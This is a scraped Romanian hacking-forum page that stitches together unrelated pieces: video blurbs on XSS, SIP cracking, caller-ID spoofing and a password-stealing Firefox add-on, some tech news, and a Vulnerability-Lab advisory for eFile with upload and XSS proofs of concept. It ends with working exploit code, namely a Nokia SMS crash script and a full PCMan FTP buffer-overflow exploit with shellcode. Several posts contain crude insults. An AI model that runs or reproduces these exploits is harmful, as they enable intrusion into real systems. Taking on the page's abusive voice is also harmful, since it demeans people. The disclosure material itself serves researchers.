Kwelwild

Description: This video is all about Cross Site Scripting attack and in this video you will learn how XSS attack will works and how to find the XSS vulnerability in your website and secure it. Sursa: Cross Site Scripting Attack

Intelegeti in pula mea odata pentru totdeauna ca ala nu e ddos! Va taie doar voua conexiunea cu site-ul respectiv, dar este in perfecta stare. Ajung la concluzia ca aveti probleme psihice pentru simplu fapt ca nu intelegeti si o tineti pe a voastra. @VaD_SuNeTe Modifica titlul, se vor simtii idolatrizati.

Sa va dau muie tututor din clubul vostru infect!

Google a lansat noul Chrome pentru Windows si Mac. Google a lansat o noua versiune pentru browserul Chrome, pentru Windows si Mac. Versiunea Chrome 28 vine cu un centru de notificari pentru utilizatorii de Windows. Aceasta este si prima versiune de Chrome care foloseste motorul de afisare Blink in loc de WebKit. Am gandit aceste notificari ca sa fie frumoase, folositoare si atragatoare (Google) Notificarile de la aplicatii si extensii pot fi formatate pentru a afisa text si imagini, dar pot include si actiuni direct intr-un pop-up. DOWNLOAD Google Chrome 28 aici! Sursa: http://www.yoda.ro/online/donwload-google-chrome-28-cel-mai-iubit-browser-acum-intr-o-forma-imbunatatita.html

Description: Demo: HTML Injection Skype Vulnerability danielhaake.de Sursa: Demo: Html Injection Skype Vulnerability

Polonic, sa te trag in teapa!

Ce talent are omu' la decor in camera ) Huiule, sterge clipul ala pana nu ma enervez!

Description: The POC Linux passwd and shadow file stealing Addon for Firefox Fore more details: http://keralacyberforce.in/abusing-exploiting-and-pwning-with-firefox-add-ons/ Sursa: Xenotix Linux Password Stealer Addon For Firefox

Description: This video is all about IPCOP IDS ( Intrusion Detection System). So this video will cover how to configure your IPCOP and how to automatically update your IDS logs from the snort website. IPCOP : - The IPCop Firewall is a Linux firewall distribution. It is geared towards home and SOHO users. The IPCop web-interface is very user-friendly and makes usage easy. For More Information Please Visit : - IPCop - Documentation Sursa: Ipcop Intrusion Detection System (Ids)

http://www.youtube.com/watch?v=4Gc_YNvTBMM Description: In this video you will learn how to use Maltego. In the start of this video you will learn about overview of Maltego softwares - how its work and what can you gather using Maltego. Maltego is a very powerful fingerprinting tool for large infrastructure network. Sursa: Data Collection Using Maltego

Description: In this video you will learn how to use XSSF Plugging in metasploit framework for exploiting a system using XSS and XSSF. This is a very good video on Web Application exploitation to system exploitation. Sursa: Xss To Full Os Compromise Using Xssf And Metasploit Framework

Description: In this video you will learn how to Exploit XML using XML Injection attack and exploiting source code and taking advantage of it Sursa: Xml Injection

http://www.youtube.com/watch?v=-C2duaHLu3U Description: SIPcrack is a suite for sniffing and cracking the digest authentication used in the SIP protocol. The tools offer support for pcap files, wordlists and many more to extract all needed information and bruteforce the passwords for the sniffed accounts. Sursa: Crack Sip Hash With :- Sipcrack

http://www.youtube.com/watch?v=gi_qJj4JOX0 Description: Metasploit provides a sip scanner auxiliary which comes in two flavors TCP and UDP, we can use it to discover SIP enabled devices using the OPTION method: Let’s see an example of the UDP version: scanner/sip/options auxiliary Auxiliary Options and Usage. Sursa: Scanning Sip Enabled Devices

http://www.youtube.com/watch?v=csLuNZ0mjpI Description: ################################################## ############################## #Exploit Title: Nokia 1280 DoS Vulnerability #Author : Un0wn_X #E-Mail : unownsec@gmail.com #Date : Monday, July 01,2013 #Product: http://www.nokia.com/in-en/phones/phone/nokia-1280/ ################################################## ############################## #Vulnerability Advisory ======================= You can send a SMS containing the malicious buffer and can crash the phone once it loads in the memory. #Video PoC ============ http://www.youtube.com/watch?v=csLuNZ0mjpI #Exploit ========= #!/usr/bin/env ruby #Author: Un0wn_X begin buff = "Don't Scroll Down \n\n" buff += "'"*100 file = open("exploit.txt","w") file.write(buff) file.close() puts "[+] Exploit created >> exploit.txt" puts "[*] Now send the text contained inside the exploit.txt by a sms" puts "[~] Un0wn_X" end #Final Notes ============= I have no idea to attach this to a debugger and fuzz this system. You may exploit further http://seclists.org/fulldisclosure/2013/Jul/17 Sursa: Nokia 1280 Dos Vulnerability

Description: Post Meterpreter module to iniciate a PPTP connection to a remote machine (VPN Server). Once the tunnel is created we can use it to force the victim traffic to go through the server; this way we get a Man-in-the-Middle attack. Sursa: Metasploit: Post Exploitation Module (Mitm Through Pptp)

Description: In this video you will learn how to exploit apache Cookie Disclosure vulnerability (CVE: 2012-0053). protocol.c in the Apache HTTP Server 2.2.x through 2.2.21 does not properly restrict header information during construction of Bad Request (aka 400) error documents, which allows remote attackers to obtain the values of HTTPOnly cookies via vectors involving a (1) long or (2) malformed header in conjunction with crafted web script. Source : - National Vulnerability Database (NVD) National Vulnerability Database (CVE-2012-0053) Sursa: Apache Httponly Cookie Disclosure (Cve: 2012-0053)

Toti vrem viteza si siguranta atunci cand navigam, iar browserele reusesc mai mult sau mai putin sa ne ajute. Iata-l pe cel mai bun Browserul preferat al romanilor este Chrome, care s-a bucurat de o ascensiune rapida in ultimul an, potrivit celor mai recente date . Chrome este cel mai folosit si in SUA si America de Sud, Europa, Australia, nordul Africii si Rusia. In cazul Europei, in ultimul an, se observa o crestere spectaculoasa a browserului Chrome, in timp ce Firefox OS scade destul mult. Si Internet Explorer are o cadere, insa in ultima parte a intervalului browserul de la Microsoft pare sa reuseasca sa se mentina. Sursa: http://www.yoda.ro/online/browserul-numarul-1-in-romania-ce-soft-aleg-romanii-atunci-cand-se-dau-pe-internet.html

Facebook introduce stickere pentru mesajele transmise pe site Schimbarea este menita sa convinga utilizatorii Facebook sa petreaca mai mult timp in retea. Stickerele sunt acum disponibile pe pagina web a Facebook. Reteaua sociala a anuntat ca a introdus acest serviciu, astfel ca acum poti sa le trimiti prietenilor chipuri zambitoare, atunci cand esti la calculator. Aceasta optiune exista pana acum doar pe aplicatiile pentru iOS si Android. Este deosebit de simplu sa trimiti o astfel de fata zambitoare. Trebuie doar sa apesi pe fata zambitoare din josul ferestrei de chat, anunta thenextweb. Sursa: Facebook introduce stickere pentru mesajele transmise pe site - www.yoda.ro

Un blogger a incercat sa stearga unele postari. Ce s-a intamplat de fapt Bloggerul isi prezinta povestea simpla prin care a incercat sa-si stearga tot continutul personal de pe Facebook. "N-am vrut sa-mi sterg tot contul de pe Facebook ci doar ceea ce am publicat acolo. Le-am luat post cu post si le-am sters pe toate", povesteste el. Surpriza cea mare a venit dupa ce s-a conectat din nou dupa 9 luni si a descoperit ca toate posturile sau au fost republicate de Facebook. Ambitios, le-a mai sters o data, crezand ca e o simpla eroare. Pe 1 iulie, dupa inca vreo 9 luni, s-a conectat din nou. Si toate postarile sale erau inca acolo. "Facebook nu imi da de ales, probabil ca va trebui sa sterg tot contul. Ideea este ca au acces la tot ce ati publicat voi vreodata. Sa nu va surprinda intr-o zi ca si conturile sterse sa fie reactivate" este ideea pe care bloggerul o sustine in concluzia sa. Sursa: Ai incercat sa stergi ceva de pe Facebook? Iata ce se intampla de fapt - www.yoda.ro

Anuntul facut de compania americana face loc pe piata, concurenta incercand sa-l ocupe. Lansat in 2005 si ajuns, la un moment dat, la o foarte mare popularitate pe internet, serviciul RSS Google Reader s-a inchis. Decizia, anuntata inca din luna martie a acestui an, a fost cauzata de scaderea numarului de utilizatori, chiar daca printre cei ramasi se afla multi care "deplang disparitia lui", asa cum scrie in comunicatul oficial. Google Reader, ca si alte servicii RSS (Really Simple Syndication), realiza un flux de stiri, adunand la un loc titluri de pe mai multe site-uri. Exista deja multe servicii asemanatoare care, fara sa arate ca se bucura de decizia Google, incearca sa umple locul liber. Digg Reader este unul dintre aceste servicii, noutatea sau avantajul constand in faptul ca are si aplicatie pentru iOS. Feedly, aparut in urma cu doi ani, este un serviciu care a castigat jumatate de milion de utilizatori de la anuntul inchiderii Google Reader. Un al treilea serviciu este detinut chiar de gigantul media AOL, utilizatorii putandu-se loga la acesta chiar si cu user-ul si parola de la Google Reader. Sursa: Google Reader s-a inchis. Cine profita? - www.yoda.ro

http://www.youtube.com/watch?v=z4j79Q85krA Description: There are several methods for spoofing Caller ID which we won’t discuss here because it requires a different set of tools and equipment which are irrelevant to this article purpose. Spoofing Caller ID in SIP is fairly easy, you just need to change the SIP request “INVITE” from header. Sursa: Spoofing Caller Id In Voip Network

http://www.youtube.com/watch?v=wdAqvzQQ7gs Description: SMAP which is a simple scanner for SIP enabled devices SMAP sends off various SIP requests awaiting responses from SIP enabled DSL router, proxies and user agents Sursa: Enumerating Voip Hosts :- Smap

eFile Wifi Transfer Manager 1.0 - Multiple Vulnerabilities Title: ====== eFile Wifi Transfer Manager 1.0 iOS - Multiple Vulnerabilities Date: ===== 2013-06-24 References: =========== http://www.vulnerability-lab.com/get_content.php?id=982 VL-ID: ===== 982 Common Vulnerability Scoring System: ==================================== 6.8 Introduction: ============= eFile is the File Manager for ios device. You can use your device as a Wi-Fi flash disk. You can connect to iPhone from a Mac, Windows, or Linux computer (on the same Wi-Fi network). No special software required on your computer. You can transfer mp3 files via bluetooth, Wi-Fi or iTunes. Support most of the document formats. Folder Password Protected: Provide password protection for each folder Http Pasword Protected: Provide Password protection for Http file transfer. File Operations: New Folder, delete, move, copy, email, share with bluetooth or Wi-Fi, zip,unzip ... File sharing with other ios devices via Bluetooth or Wi-Fi File upload via your PC/Mac/Linux web browser or USB via iTunes. Provide download email attachments Provide download Safari browser attachments Save and Get images to and from Photos iWork (Pages, Numbers, Keynote) Microsoft Office (Word, Excel, PowerPoint) PDF, RTF, RTFD, TXT MP3, MP4, MOV, MPV, M4V JPG, PNG, GIF, BMP, TIF, TIFF, ICO ZIP,RAR TXT,C,CPP,H,M (Copy of the Homepage: https://itunes.apple.com/de/app/efile-lite-file-sharing-file/id606822182 ) Abstract: ========= The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the eFile Wifi Manager v1.0 iOS mobile application. Report-Timeline: ================ 2013-06-24: Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== 1.1 A local file include and an arbitrary file upload web vulnerability via POST request method is detected in the eFile Wifi Manager v1.0 iOS mobile application for the apple ipad & iphone. The vulnerability allows remote attackers via POST method to inject local app webserver folders to request unauthorized local webserver files. The vulnerbility is located in the upload file module of the webserver (http://localhost/x) when processing to request a manipulated filename via POST. The execution of the injected path or file request will occur when the attacker is processing to reload to index listing of the affected module after the file include attack via upload. Remote attackers can exchange the filename with a tripple extension to bypass the filter and execute the files from the little webserver of the application. Exploitation of the vulnerability requires no user interaction and also without application user account (no password standard). Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload. Vulnerable Application(s): [+] eFile v1.0 - ITunes or AppStore (Apple) Vulnerable Module(s): [+] File Upload (Web Server) [Remote] Vulnerable Parameter(s): [+] filename [+] file extensions Affected Module(s): [+] eFile Index Listing 1.2 A persistent input validation vulnerability is detected in the eFile Wifi Manager v1.0 iOS mobile application for the apple ipad & iphone. The bug allows an attacker (remote) to implement/inject malicious script code on the application side (persistent) of the app web service. The vulnerability is located in the index file dir listing module of the webserver (http://localhost/foldername) when processing to display via POST request method injected manipulated `foldernames`. The persistent script code will be executed in the main index file dir listing module when the service is processing to list the new malicious injected foldername as item. Exploitation of the persistent web vulnerability requires low or medium user interaction without application user account. Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent web attacks, persistent phishing or stable (persistent) certificate mail notification context manipulation. Vulnerable Application(s): [+] eFile v1.0 - ITunes or AppStore (Apple) Vulnerable Module(s): [+] Add or Edit Foldername Vulnerable Parameter(s): [+] foldername Affected Module(s): [+] eFile Index Listing Proof of Concept: ================= 1.1 The arbitrary file upload vulnerability and restriction bypass can be exploited by remote attackers without privilege application user account and also without required user interaction. For demonstration or reproduce ... File Upload ... Host=localhost:8080 User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language=en-US,en;q=0.5 Accept-Encoding=gzip, deflate DNT=1 X-Requested-With=XMLHttpRequest X-File-Name=1234.png.txt.iso.php.gif Content-Type=application/octet-stream Referer=http://localhost:8080/ Content-Length=98139 POSTDATA =?PNG[X] + double extensions http://localhost:8080/[PATH NAME (x) VALUE].png.txt.iso.php // return false to cancel submit onSubmit: function(id, fileName){}, onProgress: function(id, fileName, loaded, total){}, onComplete: function(id, fileName, responseJSON){}, onCancel: function(id, fileName){}, // messages messages: { typeError: "{file} has invalid extension. Only {extensions} are allowed.", sizeError: "{file} is too large, maximum file size is {sizeLimit}.", minSizeError: "{file} is too small, minimum file size is {minSizeLimit}.", emptyError: "{file} is empty, please select files again without it.", onLeave: "The files are being uploaded, if you leave now the upload will be cancelled."}, ... ... // added to list item when upload completes // used in css to hide progress spinner success: 'qq-upload-success', ... 1.2 The persistent input validation web vulnerability can be exploited by remote attackers without privileged application user account and with low required user interaction. For demonstration or reproduce ... New Folder ... POST http://localhost:8080/# Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[-1] Mime Type[application/x-unknown-content-type] Request Headers: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://localhost:8080/] Connection[keep-alive] Post Data: newFolder[%2520%3E%22%3C[PERSISTENT INJECTED SCRIPT CODE!]+src%3Da%3E] submitButton[Create] Response Headers: Transfer-Encoding[chunked] Accept-Ranges[bytes] Date[Sun, 23 Jun 2013 10:16:41 GMT] http://localhost:8080/[PATH NAME (x) VALUE] function newFolder() { var title = document.getElementById("formTitle"); title.innerText = "eFile"; title.textContent = "eFile"; title.setAttribute("id","formTitle"); ... ... var message = document.getElementById("formMessage"); message.innerText = "Enter new folder name"; message.textContent = "Enter new folder name"; message.setAttribute("id","formMessage"); ... Reference(s): ../pagescript.js Solution: ========= 1.1 The arbitrary file upload vulnerability can be patched by a secure parse and restriction in the file upload module and the bound listing access. 1.2 The persistent input validation web vulnerability can be patched by a secure parse of the foldername. Parse the input fields of new folder and also the index output listing to prevent persistent injections or script code executions. Risk: ===== 1.1 The security risk of the multiple arbitrary file upload vulnerability and restriction bypass is estimated as critical. 1.2 The security risk of the persistent input validation web vulnerability is estimated as high. Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright 2013 | Vulnerability Laboratory -- VULNERABILITY LABORATORY RESEARCH TEAM DOMAIN: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com Sursa: eFile Wifi Transfer Manager 1.0 - Multiple Vulnerabilities

PCMan's FTP Server 2.0 - Remote Buffer Overflow Exploit #!/usr/bin/python # # #################################################################### # # Exploit Title: PCMan's FTP Server 2.0 Remote Buffer Overflow Exploit # Date: 2013/6/26 # Exploit Author: Chako # Vendor Homepage: http://pcman.openfoundry.org/ # Software Download Link: https://files.secureserver.net/1sMltFOsytirTG # Version: 2.0 # Tested on: Windows 7 SP1 English # # EAX 00000000 # ECX 00830A70 # EDX 00000030 # EBX 00000000 # ESP 0018ED70 ASCII "AAAAAAAAAAAAAAAAAAAAA # EBP 01F214A0 # ESI 0018ED87 ASCII "AAAAAAAAAAAAAAAAAAAAA # EDI 00000004 # EIP 41414141 # #################################################################### import socket import sys USER = "anonymous" PASSWD = "TEST" PAYLOAD = "\x41" * 2010 EIP = "\xDB\xFC\x1C\x75" # 751CFCDB JMP ESP USER32.DLL NOP = "\x90" * 10 SHELLCODE =( "\xba\x38\xdc\x15\x77\xdd\xc7\xd9\x74\x24\xf4\x5d\x33\xc9" "\xb1\x33\x83\xc5\x04\x31\x55\x0e\x03\x6d\xd2\xf7\x82\x71" "\x02\x7e\x6c\x89\xd3\xe1\xe4\x6c\xe2\x33\x92\xe5\x57\x84" "\xd0\xab\x5b\x6f\xb4\x5f\xef\x1d\x11\x50\x58\xab\x47\x5f" "\x59\x1d\x48\x33\x99\x3f\x34\x49\xce\x9f\x05\x82\x03\xe1" "\x42\xfe\xec\xb3\x1b\x75\x5e\x24\x2f\xcb\x63\x45\xff\x40" "\xdb\x3d\x7a\x96\xa8\xf7\x85\xc6\x01\x83\xce\xfe\x2a\xcb" "\xee\xff\xff\x0f\xd2\xb6\x74\xfb\xa0\x49\x5d\x35\x48\x78" "\xa1\x9a\x77\xb5\x2c\xe2\xb0\x71\xcf\x91\xca\x82\x72\xa2" "\x08\xf9\xa8\x27\x8d\x59\x3a\x9f\x75\x58\xef\x46\xfd\x56" "\x44\x0c\x59\x7a\x5b\xc1\xd1\x86\xd0\xe4\x35\x0f\xa2\xc2" "\x91\x54\x70\x6a\x83\x30\xd7\x93\xd3\x9c\x88\x31\x9f\x0e" "\xdc\x40\xc2\x44\x23\xc0\x78\x21\x23\xda\x82\x01\x4c\xeb" "\x09\xce\x0b\xf4\xdb\xab\xe4\xbe\x46\x9d\x6c\x67\x13\x9c" "\xf0\x98\xc9\xe2\x0c\x1b\xf8\x9a\xea\x03\x89\x9f\xb7\x83" "\x61\xed\xa8\x61\x86\x42\xc8\xa3\xe5\x05\x5a\x2f\xc4\xa0" "\xda\xca\x18"); print("\n\n[+] PCMan's FTP Server 2.0 Rrmote Buffer Overflow Exploit") print("[+] Version: V2.0") print("[+] Chako\n\n\n") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("127.0.0.1",21)) data = s.recv(1024) print("[-] Login to FTP Server...\n") s.send("USER " + USER + '\r\n') data = s.recv(1024) s.send("PASS " + PASSWD + '\r\n') data = s.recv(1024) print("[-] Sending exploit...\n") s.send(PAYLOAD + EIP + NOP +SHELLCODE +'\r\n') s.close() print("[!] Done! Exploit successfully sent\n") Sursa: PCMan's FTP Server 2.0 - Remote Buffer Overflow Exploit